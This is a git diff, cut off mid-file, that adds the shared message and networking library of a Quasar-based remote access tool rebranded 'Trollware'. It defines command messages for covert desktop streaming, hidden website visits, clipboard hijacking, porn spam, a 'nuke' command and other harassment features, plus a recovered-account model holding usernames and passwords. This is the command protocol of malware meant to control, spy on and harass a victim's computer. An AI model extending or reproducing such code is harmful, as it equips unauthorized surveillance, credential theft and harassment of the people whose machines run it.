index 0000000..1fe9b80 --- /dev/null +++ b/Quasar.Common/Messages/DoStartDesktopStream.cs @@ -0,0 +1,15 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartDesktopStream : IMessage + { + [ProtoMember(1)] public int Quality { get; set; } + [ProtoMember(2)] public int DisplayIndex { get; set; } + [ProtoMember(3)] public int IntervalMs { get; set; } + [ProtoMember(4)] public bool UseH264 { get; set; } + [ProtoMember(5)] public int H264BitrateKbps { get; set; } + [ProtoMember(6)] public int H264Fps { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoStartDrunkMode.cs b/Quasar.Common/Messages/DoStartDrunkMode.cs new file mode 100644 index 0000000..3998319 --- /dev/null +++ b/Quasar.Common/Messages/DoStartDrunkMode.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartDrunkMode : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartEyes.cs b/Quasar.Common/Messages/DoStartEyes.cs new file mode 100644 index 0000000..484d6ce --- /dev/null +++ b/Quasar.Common/Messages/DoStartEyes.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartEyes : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartFartScroll.cs b/Quasar.Common/Messages/DoStartFartScroll.cs new file mode 100644 index 0000000..acf4f29 --- /dev/null +++ b/Quasar.Common/Messages/DoStartFartScroll.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartFartScroll : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartPornSpam.cs b/Quasar.Common/Messages/DoStartPornSpam.cs new file mode 100644 index 0000000..fdab2e1 --- /dev/null +++ b/Quasar.Common/Messages/DoStartPornSpam.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartPornSpam : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStartSchizophrenia.cs b/Quasar.Common/Messages/DoStartSchizophrenia.cs new file mode 100644 index 0000000..757bbc2 --- /dev/null +++ b/Quasar.Common/Messages/DoStartSchizophrenia.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartSchizophrenia : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopBeepSpam.cs b/Quasar.Common/Messages/DoStopBeepSpam.cs new file mode 100644 index 0000000..b626561 --- /dev/null +++ b/Quasar.Common/Messages/DoStopBeepSpam.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopBeepSpam : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopClipboardHijack.cs b/Quasar.Common/Messages/DoStopClipboardHijack.cs new file mode 100644 index 0000000..7e05c64 --- /dev/null +++ b/Quasar.Common/Messages/DoStopClipboardHijack.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopClipboardHijack : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopColorInvert.cs b/Quasar.Common/Messages/DoStopColorInvert.cs new file mode 100644 index 0000000..3ef48cb --- /dev/null +++ b/Quasar.Common/Messages/DoStopColorInvert.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopColorInvert : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopCursorChaos.cs b/Quasar.Common/Messages/DoStopCursorChaos.cs new file mode 100644 index 0000000..ad05461 --- /dev/null +++ b/Quasar.Common/Messages/DoStopCursorChaos.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopCursorChaos : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopDesktopStream.cs b/Quasar.Common/Messages/DoStopDesktopStream.cs new file mode 100644 index 0000000..dec4f5f --- /dev/null +++ b/Quasar.Common/Messages/DoStopDesktopStream.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopDesktopStream : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopDrunkMode.cs b/Quasar.Common/Messages/DoStopDrunkMode.cs new file mode 100644 index 0000000..203a8c2 --- /dev/null +++ b/Quasar.Common/Messages/DoStopDrunkMode.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopDrunkMode : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopEyes.cs b/Quasar.Common/Messages/DoStopEyes.cs new file mode 100644 index 0000000..853603b --- /dev/null +++ b/Quasar.Common/Messages/DoStopEyes.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopEyes : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopFartScroll.cs b/Quasar.Common/Messages/DoStopFartScroll.cs new file mode 100644 index 0000000..12afcd9 --- /dev/null +++ b/Quasar.Common/Messages/DoStopFartScroll.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopFartScroll : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopNuke.cs b/Quasar.Common/Messages/DoStopNuke.cs new file mode 100644 index 0000000..305cc9c --- /dev/null +++ b/Quasar.Common/Messages/DoStopNuke.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopNuke : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopPornSpam.cs b/Quasar.Common/Messages/DoStopPornSpam.cs new file mode 100644 index 0000000..bc1d148 --- /dev/null +++ b/Quasar.Common/Messages/DoStopPornSpam.cs @@ -0,0 +1,7 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopPornSpam : IMessage { } +} diff --git a/Quasar.Common/Messages/DoStopSchizophrenia.cs b/Quasar.Common/Messages/DoStopSchizophrenia.cs new file mode 100644 index 0000000..0031acc --- /dev/null +++ b/Quasar.Common/Messages/DoStopSchizophrenia.cs @@ -0,0 +1,8 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopSchizophrenia : IMessage { } +} diff --git a/Quasar.Common/Messages/DoTextToSpeech.cs b/Quasar.Common/Messages/DoTextToSpeech.cs new file mode 100644 index 0000000..aa81bbf --- /dev/null +++ b/Quasar.Common/Messages/DoTextToSpeech.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoTextToSpeech : IMessage + { + [ProtoMember(1)] + public string Text { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoVisitWebsite.cs b/Quasar.Common/Messages/DoVisitWebsite.cs new file mode 100644 index 0000000..f895b87 --- /dev/null +++ b/Quasar.Common/Messages/DoVisitWebsite.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoVisitWebsite : IMessage + { + [ProtoMember(1)] + public string Url { get; set; } + + [ProtoMember(2)] + public bool Hidden { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDesktop.cs b/Quasar.Common/Messages/GetDesktop.cs new file mode 100644 index 0000000..8152207 --- /dev/null +++ b/Quasar.Common/Messages/GetDesktop.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktop : IMessage + { + [ProtoMember(1)] + public bool CreateNew { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int DisplayIndex { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetDesktopResponse.cs b/Quasar.Common/Messages/GetDesktopResponse.cs new file mode 100644 index 0000000..ab9a62e --- /dev/null +++ b/Quasar.Common/Messages/GetDesktopResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktopResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int Monitor { get; set; } + + [ProtoMember(4)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar.Common/Messages/GetMonitors.cs b/Quasar.Common/Messages/GetMonitors.cs new file mode 100644 index 0000000..93092e4 --- /dev/null +++ b/Quasar.Common/Messages/GetMonitors.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitors : IMessage + { + } +} diff --git a/Quasar.Common/Messages/GetMonitorsResponse.cs b/Quasar.Common/Messages/GetMonitorsResponse.cs new file mode 100644 index 0000000..4d1a4b8 --- /dev/null +++ b/Quasar.Common/Messages/GetMonitorsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitorsResponse : IMessage + { + [ProtoMember(1)] + public int Number { get; set; } + } +} diff --git a/Quasar.Common/Messages/IMessage.cs b/Quasar.Common/Messages/IMessage.cs new file mode 100644 index 0000000..636aa99 --- /dev/null +++ b/Quasar.Common/Messages/IMessage.cs @@ -0,0 +1,6 @@ +namespace Quasar.Common.Messages +{ + public interface IMessage + { + } +} diff --git a/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar.Common/Messages/IMessageProcessor.cs new file mode 100644 index 0000000..61bfc77 --- /dev/null +++ b/Quasar.Common/Messages/IMessageProcessor.cs @@ -0,0 +1,31 @@ +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs new file mode 100644 index 0000000..7982a78 --- /dev/null +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -0,0 +1,66 @@ +using Quasar.Common.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + public static void Process(ISender sender, IMessage msg) + { + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + executor.Execute(sender, msg); + } + } +} diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs new file mode 100644 index 0000000..f84cf82 --- /dev/null +++ b/Quasar.Common/Messages/MessageProcessorBase.cs @@ -0,0 +1,107 @@ +using Quasar.Common.Networking; +using System; +using System.Threading; + +namespace Quasar.Common.Messages +{ + /// + /// Provides a MessageProcessor implementation that provides progress report callbacks. + /// + /// Specifies the type of the progress report value. + /// + /// Any event handlers registered with the event are invoked through a + /// instance chosen when the instance is constructed. + /// + public abstract class MessageProcessorBase : IMessageProcessor, IProgress + { + /// + /// The synchronization context chosen upon construction. + /// + protected readonly SynchronizationContext SynchronizationContext; + + /// + /// A cached delegate used to post invocation to the synchronization context. + /// + private readonly SendOrPostCallback _invokeReportProgressHandlers; + + /// + /// Represents the method that will handle progress updates. + /// + /// The message processor which updated the progress. + /// The new progress. + public delegate void ReportProgressEventHandler(object sender, T value); + + /// + /// Raised for each reported progress value. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ReportProgressEventHandler ProgressChanged; + + /// + /// Reports a progress change. + /// + /// The value of the updated progress. + protected virtual void OnReport(T value) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeReportProgressHandlers, value); + } + } + + /// + /// Initializes the + /// + /// + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// Otherwise the current SynchronizationContext will be used. + /// + protected MessageProcessorBase(bool useCurrentContext) + { + _invokeReportProgressHandlers = InvokeReportProgressHandlers; + SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; + } + + /// + /// Invokes the progress event callbacks. + /// + /// The progress value. + private void InvokeReportProgressHandlers(object state) + { + var handler = ProgressChanged; + handler?.Invoke(this, (T)state); + } + + /// + public abstract bool CanExecute(IMessage message); + + /// + public abstract bool CanExecuteFrom(ISender sender); + + /// + public abstract void Execute(ISender sender, IMessage message); + + void IProgress.Report(T value) => OnReport(value); + } + + /// + /// Holds static values for . + /// + /// + /// This avoids one static instance per type T. + /// + internal static class ProgressStatics + { + /// + /// A default synchronization context that targets the . + /// + internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); + } +} diff --git a/Quasar.Common/Messages/SetStatus.cs b/Quasar.Common/Messages/SetStatus.cs new file mode 100644 index 0000000..b91a2f9 --- /dev/null +++ b/Quasar.Common/Messages/SetStatus.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatus : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + } +} diff --git a/Quasar.Common/Messages/SetUserStatus.cs b/Quasar.Common/Messages/SetUserStatus.cs new file mode 100644 index 0000000..798d847 --- /dev/null +++ b/Quasar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetUserStatus : IMessage + { + [ProtoMember(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Quasar.Common/Messages/TypeRegistry.cs b/Quasar.Common/Messages/TypeRegistry.cs new file mode 100644 index 0000000..4b1376f --- /dev/null +++ b/Quasar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,49 @@ +using ProtoBuf.Meta; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + public static class TypeRegistry + { + /// + /// The internal index of the message type. + /// + private static int _typeIndex; + + /// + /// Adds a Type to the serializer so a message can be properly serialized. + /// + /// The parent type, i.e.: IMessage + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + if (type == null || parent == null) + throw new ArgumentNullException(); + + bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); + + if (!isAlreadyAdded) + RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type); + } + + /// + /// Adds Types to the serializer. + /// + /// The parent type, i.e.: IMessage + /// Types to add. + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + foreach (Type type in types) + AddTypeToSerializer(parent, type); + } + + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Quasar.Common/Models/Drive.cs b/Quasar.Common/Models/Drive.cs new file mode 100644 index 0000000..dfae29f --- /dev/null +++ b/Quasar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Drive + { + [ProtoMember(1)] + public string DisplayName { get; set; } + + [ProtoMember(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Quasar.Common/Models/FileChunk.cs b/Quasar.Common/Models/FileChunk.cs new file mode 100644 index 0000000..cab5564 --- /dev/null +++ b/Quasar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileChunk + { + [ProtoMember(1)] + public long Offset { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Models/FileSystemEntry.cs b/Quasar.Common/Models/FileSystemEntry.cs new file mode 100644 index 0000000..216a77f --- /dev/null +++ b/Quasar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using System; +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileSystemEntry + { + [ProtoMember(1)] + public FileType EntryType { get; set; } + + [ProtoMember(2)] + public string Name { get; set; } + + [ProtoMember(3)] + public long Size { get; set; } + + [ProtoMember(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [ProtoMember(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Quasar.Common/Models/Process.cs b/Quasar.Common/Models/Process.cs new file mode 100644 index 0000000..a28496c --- /dev/null +++ b/Quasar.Common/Models/Process.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Process + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public int Id { get; set; } + + [ProtoMember(3)] + public string MainWindowTitle { get; set; } + } +} diff --git a/Quasar.Common/Models/RecoveredAccount.cs b/Quasar.Common/Models/RecoveredAccount.cs new file mode 100644 index 0000000..3017354 --- /dev/null +++ b/Quasar.Common/Models/RecoveredAccount.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RecoveredAccount + { + [ProtoMember(1)] + public string Username { get; set; } + + [ProtoMember(2)] + public string Password { get; set; } + + [ProtoMember(3)] + public string Url { get; set; } + + [ProtoMember(4)] + public string Application { get; set; } + } +} diff --git a/Quasar.Common/Models/RegSeekerMatch.cs b/Quasar.Common/Models/RegSeekerMatch.cs new file mode 100644 index 0000000..3ea4bf5 --- /dev/null +++ b/Quasar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegSeekerMatch + { + [ProtoMember(1)] + public string Key { get; set; } + + [ProtoMember(2)] + public RegValueData[] Data { get; set; } + + [ProtoMember(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Quasar.Common/Models/RegValueData.cs b/Quasar.Common/Models/RegValueData.cs new file mode 100644 index 0000000..08a96b6 --- /dev/null +++ b/Quasar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegValueData + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + + [ProtoMember(3)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Models/StartupItem.cs b/Quasar.Common/Models/StartupItem.cs new file mode 100644 index 0000000..0e1a090 --- /dev/null +++ b/Quasar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class StartupItem + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public StartupType Type { get; set; } + } +} diff --git a/Quasar.Common/Models/TcpConnection.cs b/Quasar.Common/Models/TcpConnection.cs new file mode 100644 index 0000000..40c4538 --- /dev/null +++ b/Quasar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class TcpConnection + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public string LocalAddress { get; set; } + + [ProtoMember(3)] + public ushort LocalPort { get; set; } + + [ProtoMember(4)] + public string RemoteAddress { get; set; } + + [ProtoMember(5)] + public ushort RemotePort { get; set; } + + [ProtoMember(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Quasar.Common/NativeMethods.cs b/Quasar.Common/NativeMethods.cs new file mode 100644 index 0000000..94f8fcd --- /dev/null +++ b/Quasar.Common/NativeMethods.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Quasar.Common/Networking/ISender.cs b/Quasar.Common/Networking/ISender.cs new file mode 100644 index 0000000..371105a --- /dev/null +++ b/Quasar.Common/Networking/ISender.cs @@ -0,0 +1,10 @@ +using Quasar.Common.Messages; + +namespace Quasar.Common.Networking +{ + public interface ISender + { + void Send(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Quasar.Common/Networking/PayloadReader.cs b/Quasar.Common/Networking/PayloadReader.cs new file mode 100644 index 0000000..c1ad7fc --- /dev/null +++ b/Quasar.Common/Networking/PayloadReader.cs @@ -0,0 +1,75 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadReader : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen) + { + _innerStream = new MemoryStream(payload, 0, length, false, true); + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public PayloadReader(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public int ReadInteger() + { + return BitConverter.ToInt32(ReadBytes(4), 0); + } + + public byte[] ReadBytes(int length) + { + if (_innerStream.Position + length <= _innerStream.Length) + { + byte[] result = new byte[length]; + _innerStream.Read(result, 0, result.Length); + return result; + } + throw new OverflowException($"Unable to read {length} bytes from stream"); + } + + /// + /// Reads the serialized message of the payload and deserializes it. + /// + /// The deserialized message of the payload. + public IMessage ReadMessage() + { + ReadInteger(); + /* Length prefix is ignored here and already handled in Client class, + * it would cause to much trouble to check here for split or not fully + * received packets. + */ + IMessage message = Serializer.Deserialize(_innerStream); + return message; + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Networking/PayloadWriter.cs b/Quasar.Common/Networking/PayloadWriter.cs new file mode 100644 index 0000000..000d808 --- /dev/null +++ b/Quasar.Common/Networking/PayloadWriter.cs @@ -0,0 +1,65 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadWriter : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadWriter(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public void WriteBytes(byte[] value) + { + _innerStream.Write(value, 0, value.Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// Writes a serialized message as payload to the stream. + /// + /// The message to write. + /// The amount of written bytes to the stream. + public int WriteMessage(IMessage message) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, message); + byte[] payload = ms.ToArray(); + WriteInteger(payload.Length); + WriteBytes(payload); + return sizeof(int) + payload.Length; + } + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..849d3e6 --- /dev/null +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Trollware Common")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Trollware")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Quasar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj new file mode 100644 index 0000000..a474fb8 --- /dev/null +++ b/Quasar.Common/Quasar.Common.csproj @@ -0,0 +1,31 @@ + + + net452 + Library + false + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + + + + + + 2.4.8 + + + + + + + + \ No newline at end of file diff --git a/Quasar.Common/Utilities/ByteConverter.cs b/Quasar.Common/Utilities/ByteConverter.cs new file mode 100644 index 0000000..9d61baf --- /dev/null +++ b/Quasar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Quasar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach(string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount 